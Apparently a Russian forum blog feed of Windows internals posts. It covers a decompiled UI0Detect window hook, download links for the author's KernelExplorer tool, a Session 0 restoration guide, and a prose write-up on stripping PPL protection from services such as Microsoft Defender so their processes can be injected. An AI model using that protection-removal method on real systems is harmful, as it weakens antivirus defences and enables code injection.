LRESULT WINAPI Session0ViewerWindowProcHook<span class="br0">&#40;</span><span class="kw4">int</span> nCode, WPARAM wParam, LPARAM lParam<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; HMODULE hModule <span class="sy1">=</span> GetModuleHandle<span class="br0">&#40;</span>TEXT<span class="br0">&#40;</span><span class="st0">&quot;ntdll&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>hModule<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; RtlTimeToSecondsSince1980 <span class="sy1">=</span> <span class="br0">&#40;</span>_RtlTimeToSecondsSince1980<span class="br0">&#41;</span>GetProcAddress<span class="br0">&#40;</span>hModule, <span class="st0">&quot;RtlTimeToSecondsSince1980&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; BOOL UserWorkItem <span class="sy1">=</span> FALSE<span class="sy4">;</span>
&nbsp; &nbsp; DWORD LastSecondsStart <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp; &nbsp; ULONG SecondsSince1980 <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp; &nbsp; FILETIME SystemTimeAsFileTime<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>nCode <span class="sy3">&amp;&amp;</span> <span class="sy2">*</span><span class="br0">&#40;</span>PDWORD<span class="br0">&#41;</span><span class="br0">&#40;</span>lParam <span class="sy2">+</span> <span class="nu0">16</span><span class="br0">&#41;</span> <span class="sy1">==</span> <span class="nu0">24</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy2">*</span><span class="br0">&#40;</span>PDWORD64<span class="br0">&#41;</span><span class="br0">&#40;</span>lParam <span class="sy2">+</span> <span class="nu0">8</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>FindWindow<span class="br0">&#40;</span>TEXT<span class="br0">&#40;</span><span class="st0">&quot;$$$UI0Background&quot;</span><span class="br0">&#41;</span>, <span class="kw2">nullptr</span><span class="br0">&#41;</span> <span class="sy3">&amp;&amp;</span> <span class="sy3">!</span>GetParent<span class="br0">&#40;</span><span class="sy2">*</span><span class="br0">&#40;</span>HWND<span class="sy2">*</span><span class="br0">&#41;</span><span class="br0">&#40;</span>lParam <span class="sy2">+</span> <span class="nu0">24</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="sy3">&amp;&amp;</span> <span class="sy3">!</span>InterlockedCompareExchange<span class="br0">&#40;</span><span class="sy3">&amp;</span>g_lWorkItemGuard, <span class="nu0">1</span>, <span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetSystemTimeAsFileTime<span class="br0">&#40;</span><span class="sy3">&amp;</span>SystemTimeAsFileTime<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>RtlTimeToSecondsSince1980<span class="br0">&#40;</span><span class="br0">&#40;</span>PLARGE_INTEGER<span class="br0">&#41;</span><span class="sy3">&amp;</span>SystemTimeAsFileTime, <span class="sy3">&amp;</span>SecondsSince1980<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>SecondsSince1980 <span class="sy1">&gt;</span> g_dwElapsedSinceLastStart <span class="sy3">&amp;&amp;</span> SecondsSince1980 <span class="sy2">-</span> g_dwElapsedSinceLastStart <span class="sy1">&gt;=</span> <span class="nu12">0x12C</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; UserWorkItem <span class="sy1">=</span> QueueUserWorkItem<span class="br0">&#40;</span>StartUI0DetectThreadProc, <span class="kw2">nullptr</span>, WT_EXECUTEDEFAULT<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LastSecondsStart <span class="sy1">=</span> g_dwElapsedSinceLastStart<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>UserWorkItem<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LastSecondsStart <span class="sy1">=</span> SecondsSince1980<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g_dwElapsedSinceLastStart <span class="sy1">=</span> LastSecondsStart<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; InterlockedCompareExchange<span class="br0">&#40;</span><span class="sy3">&amp;</span>g_lWorkItemGuard, <span class="nu0">0</span>, <span class="nu0">1</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">return</span> CallNextHookEx<span class="br0">&#40;</span><span class="kw2">nullptr</span>, nCode, wParam, lParam<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>
<table width="95%"  class="bbcode_maincontainer"><tr><td>
	<div class="bbcode_container">
	  <div class="bbcode_quote">
	    <div class="btbtbt">
		<div class="quote_container">
	      	<div class="bbcode_quote_container"></div>
	       	<div class="bbcode_postedby">
	         	
	        </div>
	        <div class="message">Внутри Session0ViewerWindowProcHook довольно простая логика: выполняется проверка является ли вызов оконным сообщением WM_SHOWWINDOW, которое сигнализирует о появлении нового окна на рабочем столе. Если это так, DLL сначала проверяет имя окна <b>$$$UI0Background</b> и отключается, если это окно уже существует.</div>
	      </div>
			</div> 
		</div>
	</div>
</td></tr></table>Видимо в Microsoft любят называть всякие секретные объекты ядра начиная с трёх символов $ (ну или это как-то связано с внутренней архитектурой ядра, не знаю).<br />
<br />
Проводить дальнейший анализ UAC на паблик я не стану (чтобы уж совсем не обидеть ребят из MS и не только).<br />
Но тем, кому интересно, могут спокойно подключать отладчики и анализировать выполнение кода для возможного его обхода.<br />
В общем вот такой получился блог. Если есть вопросы пишите (коменты модерирую я, так что бред сивой кобылы и прочую ахинею можете оставить при себе).<br />
<br />
<a href="https://www.cyberforum.ru/blogs/172954/blog7153.html">Прогулка по Рабочему столу Winlogon. Часть 2: Привет, друг</a></div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/7145.html</guid>
		</item>
		<item>
			<title>Постоянная ссылка на Google Диск для скачивания моих утилит</title>
			<link>https://www.cyberforum.ru/blogs/172954/7009.html</link>
			<pubDate>Wed, 03 Mar 2021 07:55:08 GMT</pubDate>
			<description>В этом блоге я буду выкладывать свои программы/утилиты с постоянной ссылкой. 
Все обновления будут...</description>
			<content:encoded><![CDATA[<div>В этом блоге я буду выкладывать свои программы/утилиты с постоянной ссылкой.<br />
Все обновления будут визироваться именно в этой постоянной ссылке.<br />
Выкладывать архивы с новыми ревизиями больше не стану, слишком много вложений в разных темах получается и пользователи теряются.<br />
<br />
<a rel="nofollow noopener noreferrer" href="https://drive.google.com/drive/folders/1GlQJTfRSdYs_pRMnrmkJeqlgupmfiHia" target="_blank" title="https://drive.google.com/drive/folders/1GlQJTfRSdYs_pRMnrmkJeqlgupmfiHia"><font size="5">KernelExplorer</font></a><br />
<br />
<a rel="nofollow noopener noreferrer" href="https://github.com/LunarResearch/KernelExplorer" target="_blank" title="https://github.com/LunarResearch/KernelExplorer"><font size="5">Исходный код на GitHub</font></a><br />
<br />
<a rel="nofollow noopener noreferrer" href="https://github.com/LunarResearch/KernelExplorer/releases/download/KernelExplorer/KernelExplorer.v1.0.rar" target="_blank" title="https://github.com/LunarResearch/KernelExplorer/releases/download/KernelExplorer/KernelExplorer.v1.0.rar"><font size="3">Скачать с GitHub</font></a><br />
<br />
<font size="5"><font color="Red"><b>ВНИМАНИЕ!!!</b></font></font><br />
В связи с ненормальной политикой Microsoft в отношении независимых разработчиков, убогий <a rel="nofollow noopener noreferrer" href="https://habr.com/ru/post/505194/" target="_blank" title="https://habr.com/ru/post/505194/">SmartScreen</a> блокирует скачиваемые файлы с расширением <b>*.EXE</b> (браузер добавляет к файлу NTFS-stream с именем <a rel="nofollow noopener noreferrer" href="https://docs.microsoft.com/en-us/archive/blogs/askcore/alternate-data-streams-in-ntfs" target="_blank" title="https://docs.microsoft.com/en-us/archive/blogs/askcore/alternate-data-streams-in-ntfs">Zone.Identifier</a>, куда помещает ссылку, откуда скачан файл. SmartScreen ругается именно на файлы с этим NTFS-потоком).<br />
Поэтому, два файла - <b>KernelExplorer.exe</b> и <b>UI0Detect.exe</b> необходимо переименовать - убрать <b><font size="5">_RenameMe</font></b> из имени, оставить только <b>имя файла</b> и его расширение <b>*.exe</b><br />
<u>При использовании функционала обновления, программа автоматически переименовывает файлы.</u><br />
<br />
Нажмите <b>СКАЧАТЬ ВСЕ</b><br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6943&amp;d=1618917451" rel="Lightbox" id="attachment6943" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6943&amp;thumb=1&amp;d=1618917451" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: rfg9.png
Просмотров: 772
Размер:	27.8 Кб
ID:	6943" style="margin: 5px" /></a><br />
вся папка загрузится в zip архиве на ваш компьютер (запуск программы осуществляется через KernelExplorer.exe)<br />
<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6847&amp;d=1614776980" rel="Lightbox" id="attachment6847" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6847&amp;thumb=1&amp;d=1614776980" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1234.png
Просмотров: 757
Размер:	23.3 Кб
ID:	6847" style="margin: 5px" /></a><br />
<br />
GUI версия также присутствует и стала основной (консольная версия запускается из меню)<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6888&amp;d=1616744022" rel="Lightbox" id="attachment6888" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6888&amp;thumb=1&amp;d=1616744022" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: vnkj5b.png
Просмотров: 588
Размер:	24.0 Кб
ID:	6888" style="margin: 5px" /></a></div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/7009.html</guid>
		</item>
		<item>
			<title>Вскрываем защиту ProtectedLite процессов на уровне пользовательского кода</title>
			<link>https://www.cyberforum.ru/blogs/172954/6994.html</link>
			<pubDate>Sat, 20 Feb 2021 09:19:43 GMT</pubDate>
			<description>Начну немного с теории - как это работает и для чего это нужно. 
При разработке нового ядра,...</description>
			<content:encoded><![CDATA[<div>Начну немного с теории - как это работает и для чего это нужно.<br />
При разработке нового ядра, отличного от ядра Windows XP, в Microsoft придумали такую штуку как изоляция критических процессов.<br />
Следствием этого стали защищенные процессы (Process Protected), которые могли создавать только при наличии соответствующей подписи и сертификата.<br />
Доступ к дескрипторам таких процессов был заблокирован на уровне ядра<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6814&amp;d=1613807362" rel="Lightbox" id="attachment6814" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6814&amp;thumb=1&amp;d=1613807362" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.png
Просмотров: 522
Размер:	29.2 Кб
ID:	6814" style="margin: 5px" /></a><br />
и чтобы их получить нужен подписанный драйвер режима ядра.<br />
Именно таким действием Microsoft и изолировала системные процессы от внедрения в них пользовательского кода.<br />
Впервые Process Protected (далее PP) были введены в Windows Vista. В купе с тем, что помимо изолированных процессов, Microsoft ввела новую модель изоляции окружения<br />
(Session 0 для системных процессов и служб, и Session 1 для пользовательских процессов), начался невиданный хаос в разработке нового  и адаптации старого ПО под новые требования.<br />
PP процессы были настолько защищены, что даже разработчики антивирусов толком не могли адаптировать свои продукты под новую архитектуру ядра ОС (<a rel="nofollow noopener noreferrer" href="https://docs.microsoft.com/en-us/previous-versions/aa480152(v=msdn.10)" target="_blank" title="https://docs.microsoft.com/en-us/previous-versions/aa480152(v=msdn.10)">The Windows Vista and Windows Server 2008 Developer Story: Application Compatibility Cookbook</a>)<br />
<br />
Поэтому, с релизом Windows 8.1 в Microsoft решили ввести новый тип процессов - Process ProtectedLite (далее PPL).<br />
PPL это тоже защищенные процессы, требующие подпись и сертификат. Их дескрипторы всё также заблокированы на уровне ядра<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6817&amp;d=1613810601" rel="Lightbox" id="attachment6817" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6817&amp;thumb=1&amp;d=1613810601" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 2.png
Просмотров: 481
Размер:	29.6 Кб
ID:	6817" style="margin: 5px" /></a><br />
и получить их стандартными методами из пользовательского кода невозможно.<br />
<br />
Но чем тогда отличаются PP от PPL?<br />
В основе модели PP лежит исполняемый файл и его родительский процесс. Всё просто и банально - есть подписанный файл, который при запуске создаёт процесс. Именно процесс и управляет тем, что ему предписано.<br />
А вот модель PPL кардинально отличается от PP. В основе всё также лежит исполняемый файл, но его запуск происходит через сервис (если быть точный через менеджер ServiceManager). Поэтому таким процессом управляет сервисная служба.<br />
Вместе с PPL в Microsoft ввели ещё одну защиту - <a rel="nofollow noopener noreferrer" href="https://docs.microsoft.com/en-us/windows/win32/api/winsvc/ns-winsvc-service_launch_protected_info" target="_blank" title="https://docs.microsoft.com/en-us/windows/win32/api/winsvc/ns-winsvc-service_launch_protected_info">SERVICE_LAUNCH_PROTECTED_INFO</a> и вот такое небольшое пояснение<br />

<table width="95%"  class="bbcode_maincontainer"><tr><td>
	<div class="bbcode_container">
	  <div class="bbcode_quote">
	    <div class="btbtbt">
		<div class="quote_container">
	      	<div class="bbcode_quote_container"></div>
	       	<div class="bbcode_postedby">
	         	
	        </div>
	        <div class="message">In order to apply any protection type to a service, the service must be signed with an appropriate certificate.<br />
...<br />
Once the service is launched as protected, other unprotected processes will not be able to call the following APIs on the protected service:<br />
   • ChangeServiceConfig<br />
   • ChangeServiceConfig2<br />
   • ControlService<br />
   • ControlServiceEx<br />
   • DeleteService<br />
   • SetServiceObjectSecurity</div>
	      </div>
			</div> 
		</div>
	</div>
</td></tr></table>Проще говоря, они пишут, что сервис также подписывается соответствующим сертификатом, и что незащищенный (непривилегированный) процесс не может получить доступ к функциям управления сервисом.<br />
(<i>*Для самообразования есть вот такая интересная статья о защите сервисов подписью AntiMalware</i> <a rel="nofollow noopener noreferrer" href="https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-" target="_blank" title="https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-">Protecting Anti-Malware Services</a>)<br />
<br />
Давайте рассмотрим более детально один из процессов svchost.exe (скриншот выше)<br />
Он является PPL процессом. Получить его DACL и оставшуюся часть SACL невозможно, защита процесса не позволяет открыть дескриптор с необходимыми флагами чтения, лишь только некоторую лимитированную информацию и то из-под LocalSystem (обычный пользовательский процесс, запущенный даже с правами администратора, сразу выдаст Отказано в доступе).<br />
Этот процесс имеет сервис управления wscsvc (Центр обеспечения безопасности)<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6947&amp;d=1620250976" rel="Lightbox" id="attachment6947" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6947&amp;thumb=1&amp;d=1620250976" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 3.png
Просмотров: 305
Размер:	20.8 Кб
ID:	6947" style="margin: 5px" /></a><br />
и как мы видим он подписан сертификатом Windows (как и родительский процесс) и относится к защищенным сервисам. Кроме того он находится в запущенном состоянии, и имеет определенный набор флагов допуска.<br />
Эти флаги позволяют управлять его состоянием (останавливать, запускать, удалять сервис и т.д.).<br />
Остановим этот сервис и посмотрим что произойдёт c родительским процессом<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6948&amp;d=1620250976" rel="Lightbox" id="attachment6948" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6948&amp;thumb=1&amp;d=1620250976" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 4.png
Просмотров: 292
Размер:	19.0 Кб
ID:	6948" style="margin: 5px" /></a><br />
Итак, сервис остановлен и родительский процесс отсутствует. Именно так и работает модель PPL процессов (управление таким процессом происходит через его сервис).<br />
<br />
И вот теперь самое интересное.<br />
В процессе исследования я обнаружил: либо эксплойт в системе защиты сервисов, позволяющий при определенных правах обойти сертификат и подпись, либо специально оставленный Microsoft бекдор.<br />
Elevated процесс, и даже LocalSystem процесс (со стандартным набором прав) не способны изменить защиту сервиса на другой тип.<br />
Вот что выдаёт ProcessHacker, запущенный от имени администратора (для Elevated процесса) с включенным драйвером режима ядра<br />

			   <div class="spoiler-wrap">
				   <div class="spoiler-head folded clickable">Кликните здесь для просмотра всего текста</div>
				   <div class="spoiler-body">
					   <img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6844&amp;d=1614760457" border="0" alt="Название: fcer445.jpg
Просмотров: 976

Размер: 165.8 Кб" style="margin: 5px" />
				   </div>
			   </div><br />
<br />
Я расширил функционал своей программы и дал ей определенные привилегии, которые возможны без использования драйвера режима ядра.<br />
В результате была написана функция, способная изменять тип защиты сервиса.<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6949&amp;d=1620250976" rel="Lightbox" id="attachment6949" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6949&amp;thumb=1&amp;d=1620250976" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 5.png
Просмотров: 295
Размер:	24.8 Кб
ID:	6949" style="margin: 5px" /></a><br />
Как можно видеть я отключил защиту у сервиса wscsvc (None).<br />
Снова запустим сервис и по идентификатору (Process Id) откроем его родительский процесс.<br />
<img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6821&amp;d=1613811255" border="0" alt="Название: 6.jpg
Просмотров: 1102

Размер: 129.5 Кб" style="margin: 5px" /><br />
И вот - процесс запущен без защиты, его дескрипторы открыты для чтения и записи, выводится полная информация о DACL и SACL.<br />
Можно делать всё что угодно - инжектить свой код в адресное пространство процесса, добавлять DACL и пользователей, которые имеют доступ к процессу, и т.д.<br />
<br />
В Windows 10 20H2 есть следующие сервисы, имеющие защиту:<br />
<b>WinDefend</b> (Служба антивирусной программы Microsoft Defender) - защита уровня <font color="YellowGreen"><b>AntimalwareLight</b></font><br />
<b>WdNisSvc</b> (Служба проверки сети антивирусной программы Microsoft Defender) - защита уровня <font color="YellowGreen"><b>AntimalwareLight</b></font><br />
<b>wscsvc</b> (Центр обеспечения безопасности) - защита уровня <font color="YellowGreen"><b>WindowsLight</b></font> (в Windows 11 в доступе к этой службе отказано)<br />
<b>WaaSMedicSvc</b> (Служба Medic центра обновления Windows) - защита уровня <font color="YellowGreen"><b>WindowsLight</b></font><br />
<b>DoSvc</b> (Оптимизация доставки) - защита уровня <font color="YellowGreen"><b>WindowsLight</b></font><br />
<b>AppIDSvc</b> (Удостоверение приложения) - защита уровня <font color="YellowGreen"><b>WindowsLight</b></font><br />
<b>AppXSvc</b> (Служба развертывания AppX) - защита уровня <font color="YellowGreen"><b>WindowsLight</b></font><br />
Со всех этих сервисов спокойно снимается защита: сперва сервис останавливается (при этом автоматически уничтожается его родительский процесс), затем меняется защита, и снова запускается сервис (при этом его родительский процесс будет также без защиты).<br />
<br />
Но есть сервисы, у которых накручен кое-какой скилл. К примеру:<br />
<br />
<b>ClipSVC</b> (Служба лицензий клиента) - защита уровня <font color="YellowGreen"><b>WindowsLight</b></font><br />
Под WindowsLight сервис спокойно запускается и останавливается. Затем меняется его защита, но при попытке запуска сервиса родительский процесс сразу падает.<br />
<br />
<b>Sense</b> (Служба Advanced Threat Protection в Защитнике Windows) - защита уровня <font color="YellowGreen"><b>WindowsLight</b></font><br />
По умолчанию сервис находится в остановленном состоянии. Защита спокойно меняется. Но при попытке запуска на любом уровне защиты процесс сразу падает.<br />
<br />
<b>sppsvc</b> (Защита программного обеспечения) - защита уровня <font color="Red"><b>Windows</b></font><br />
Под Windows сервис спокойно запускается и останавливается. Затем меняется его защита, но родительский процесс всегда запускается под защитой уровня Windows вне зависимости от уровня защиты сервиса.<br />
<br />
И ещё 2 интересных сервиса:<br />
<b>SecurityHealthService</b> (Служба &quot;Безопасность Windows&quot;) - защита уровня <font color="YellowGreen"><b>WindowsLight</b></font> (в Windows 11 в доступе к этой службе отказано)<br />
<b>SgrmBroker</b> (Брокер мониторинга среды выполнения System Guard) - защита уровня <font color="Red"><b>Windows</b></font><br />
Защита спокойно меняется, но оба этих сервиса не останавливаются, выдавая сообщение ERROR_INVALID_SERVICE_CONTROL (The requested control is not valid for this service) - в их accept control банально нет флага SERVICE_CONTROL_STOP<br />
Снятие защиты с обоих сервисов и последующая перезагрузка компьютера не снимает защиту с родительских процессов.<br />
<br />
Скачать программу вы можете <a href="https://www.cyberforum.ru/blogs/172954/blog7009.html">ЗДЕСЬ</a><br />
<br />
<br />
<b><font size="5">Добавлено (22.03.2022)</font></b><br />
Microsoft прикрыла данную лазейку в Windows 11 - все сервисы, имеющие любую защиту, отказывают в доступе к программе с правами СИСТЕМА.<br />
Сделано это было после того, как я опубликовал исходный код KernelExplorer.</div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/6994.html</guid>
		</item>
		<item>
			<title><![CDATA[Исследование сервиса "Обнаружение интерактивных служб" (UI0Detect) Часть 3: Эпилог]]></title>
			<link>https://www.cyberforum.ru/blogs/172954/6953.html</link>
			<pubDate>Sat, 30 Jan 2021 10:33:38 GMT</pubDate>
			<description><![CDATA[Исследование сервиса "Обнаружение интерактивных служб" (UI0Detect) Часть 1: Windows Vista - Windows...]]></description>
			<content:encoded><![CDATA[<div><a href="https://www.cyberforum.ru/blogs/172954/blog6813.html">Исследование сервиса &quot;Обнаружение интерактивных служб&quot; (UI0Detect) Часть 1: Windows Vista - Windows 7</a><br />
<a href="https://www.cyberforum.ru/blogs/172954/blog6910.html">Исследование сервиса &quot;Обнаружение интерактивных служб&quot; (UI0Detect) Часть 2: Windows 8 - Windows 10</a><br />
<br />
В заключительной части много слов не будет. Я лишь скажу то, что мне всё таки удалось восстановить вырезанную Майкрософтом часть системы - сервис &quot;Обнаружение интерактивных служб&quot;.<br />
Очень долго я пытался заставить работать данный сервис на Windows 10 сборки 20H2 (2009), используя файлы UI0Detect.exe, WlS0WndH.dll и wininitext.dll от Windows 10 сборки 1709.<br />
Делал разные хуки, инициализировал функции, просто подсовывал системе wininitext.dll, но wininit.exe на отрез отказывался запускать хукнутую PrimaryTerminalAndHookWorker с функцией RegisterSession0ViewerWindowHookDll.<br />
При этом я знал, что <b>платный</b> инструмент ребят из FireDaemon прекрасно работает на сборке 1803 и последующих, в точности повторяя принцип работы дефолтового UI0Detect.<br />
Поэтому, я решил написать свой сервис и попробовать его запустить.<br />
Файлы FireDaemon дизассемблировать я не стал, т.к. они запакованы протом и тратить время на анпак я не собирался, да и ничего нового в части перехода в сессию 0 относительно UI0Detect я бы не увидел.<br />
Тем более зачем мне это нужно, если я полностью дизассемблировал дефолтовый UI0Detect с имеющимися у Microsoft символами.<br />
<br />
В итоге, после долгого тестирования и доработки сервиса мне удалось перейти в сессию 0 через стороннюю программу. Это была победа!<br />
Далее появилась новая проблема - а как же теперь вернуться обратно в сессию 1?<br />
Возврат я делал через меню ProcessHacker: сначала отключал сессию 1 Logoff (без этого перезагрузка из сессии 0 невозможна), затем перезагружал компьютер.<br />
Такое положение вещей меня не устраивало. Я хотел быстрого перемещения из одной сессии в другую, как это делали дефолтовый UI0Detect и FireDaemon.<br />
После долгих хождений по ядру ОС я всё же понял что необходимо для переключения в другую сессию.<br />
С переходом получилось великолепно - одна команда и мы в сессии 0.<br />
А с возвратом - дефолтовый UI0Detect запускается сразу в двух сессиях: основной поток в сессии 0 (как служба), и дочерний в сессии 1.<br />
Я думаю это сделано для shared memory и глобальных данных, чтобы можно было видеть запросы в той и другой сессии и осуществлять переходы.<br />
Ерундой этой я заниматься не стал и написал дополнительную программу для возврата в сессию 1.<br />
В итоге, после перехода в сессию 0, вы увидите соответствующее уведомление (MessageBox), при нажатии на кнопку OK которого, будет осуществлен переход в сессию 1.<br />
<br />
Теперь небольшая инструкция как осуществлять переход. Я не стал писать отдельное приложение, а просто включил данный функционал в свою программу.<br />
Как мы помним из 2 части - Microsoft вырезала в Windows 10 поддержку устройств ввода\вывода в сессии 0 из драйвера win32kfull.sys.<br />
Поэтому первое что нужно сделать - установить сторонний драйвер всё тех же FireDaemon (ребятам спасибо за дров, самому мне конечно же лень писать).<br />
<br />
<b>1. Драйвер нужно устанавливать всем пользователям Windows 10!</b><br />
Для Windows Vista, Windows 7 и Windows 8\8.1 устанавливать его не обязательно, клава-мышь будет работать через дефолтовый win32kfull.sys в сессии 0.<br />
Поэтому сразу после скачивания переходите в папку UI0Input и устанавливаете драйвер через FDUI0Input.inf (правой кнопкой мыши - Установить).<br />
<b>После установки драйвера обязательно перезагрузите компьютер.</b><br />
<br />
2. Запустите ReqAdmin.exe<br />
Для всех пользователей Windows 10 первое что нужно сделать - выполнить команду <b>ui0</b> (Enter) (делается один раз - сервис будет запускаться вместе с системой в остановленном состоянии).<br />
На сборках до 1709 включительно (у тех, кто имеет дефолтовый UI0Detect) эта команда внесёт соответствующие изменения в реестр (без них сервис не запустится).<br />
На сборках 1803 и последующих эта команда полностью взведёт новый, написанный мною, сервис UI0Detect (разместит файл UI0Detect.exe в Windows\System32, внесёт изменения в реестр).<br />
В результате на всех Windows (от Vista до 10), если вы выполните команду <b>os</b> (Enter) <b>UI0Detect</b> (Enter), должны увидеть следующее<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6758&amp;d=1612000409" rel="Lightbox" id="attachment6758" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6758&amp;thumb=1&amp;d=1612000409" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.png
Просмотров: 438
Размер:	23.8 Кб
ID:	6758" style="margin: 5px" /></a><br />
Сервис будет находится в остановленном состоянии (SERVICE_STOPPED), и не иметь родительского процесса (PARENT_PROCESS_IS_NOT_RUNNING).<br />
<br />
3. На всех Windows выполните команду <b>ss</b> (Enter) <b>UI0Detect</b> (Enter). Снова выполнив команду <b>os</b> (Enter) <b>UI0Detect</b> (Enter)<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6759&amp;d=1612000954" rel="Lightbox" id="attachment6759" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6759&amp;thumb=1&amp;d=1612000954" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 2.png
Просмотров: 368
Размер:	26.0 Кб
ID:	6759" style="margin: 5px" /></a><br />
вы увидите, что сервис запущен (SERVICE_RUNNING) и имеет соответствующий ProcessId.<br />
<br />
3.1. На Windows Vista, Windows 7, Windows 8\8.1, Windows 10 включительно до сборки 1709 после выполнения команды <b>ss</b> (Enter) <b>UI0Detect</b> (Enter) вы сразу увидите сообщение системы<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6770&amp;d=1612019248" rel="Lightbox" id="attachment6770" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6770&amp;thumb=1&amp;d=1612019248" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 7.png
Просмотров: 410
Размер:	25.3 Кб
ID:	6770" style="margin: 5px" /></a><br />
Нажав на Просмотреть сообщение, вы сразу попадёте в сессию 0 (а вот пользователям Windows 10 сборки 1803 и последующих нужно сделать ещё немного).<br />
<br />
4. Собственно всё готово к переходу в сессию 0. Но чтобы там не было совсем скучно, давайте запустим проводник Explorer++<br />
